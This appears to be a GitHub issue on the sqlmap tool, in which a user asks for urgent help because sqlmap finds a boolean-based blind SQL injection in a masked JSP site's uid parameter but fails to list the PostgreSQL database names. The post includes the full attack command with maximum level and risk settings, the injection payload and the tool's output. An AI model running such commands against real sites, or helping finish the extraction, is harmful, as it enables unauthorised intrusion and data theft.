-
-
Notifications
You must be signed in to change notification settings - Fork 6.2k
Description
I am not able to retrieve the database name, please help me as soon as possible,
---> Used Command
sqlmap.py -u http://xxx.com/x.jsp?uid=f --level=5 --risk=3 --threads=10 --dbms=postgresql --no-cast --dbs
---> SQLMap Output
[00:01:49] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
Place: GET
Parameter: uid
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: uid=-5644)) OR (4237=4237) AND ((3125=3125
[00:01:51] [INFO] the back-end DBMS is PostgreSQL
web application technology: Apache, Servlet 2.5, JSP 2.1
back-end DBMS: PostgreSQL
[00:01:51] [INFO] fetching database names
[00:01:51] [INFO] fetching number of databases
[00:01:52] [WARNING] reflective value(s) found and filtering out
[00:01:52] [INFO] retrieving the length of query output
sqlmap got a 302 redirect to 'http://xxx.com/error.jsp'. Do you want to follow? [Y/n] n
[00:01:55] [INFO] heuristics detected web page charset 'None'
[00:01:55] [INFO] retrieved:
[00:01:56] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' and/or switch '--hex'
[00:01:56] [ERROR] unable to retrieve the number of databases
[00:01:56] [INFO] falling back to current database
[00:01:56] [INFO] fetching current database
[00:01:56] [INFO] retrieving the length of query output
[00:01:56] [INFO] retrieved:
[00:01:57] [INFO] retrieved:
[00:02:01] [CRITICAL] unable to retrieve the database names
[*] shutting down at 00:02:01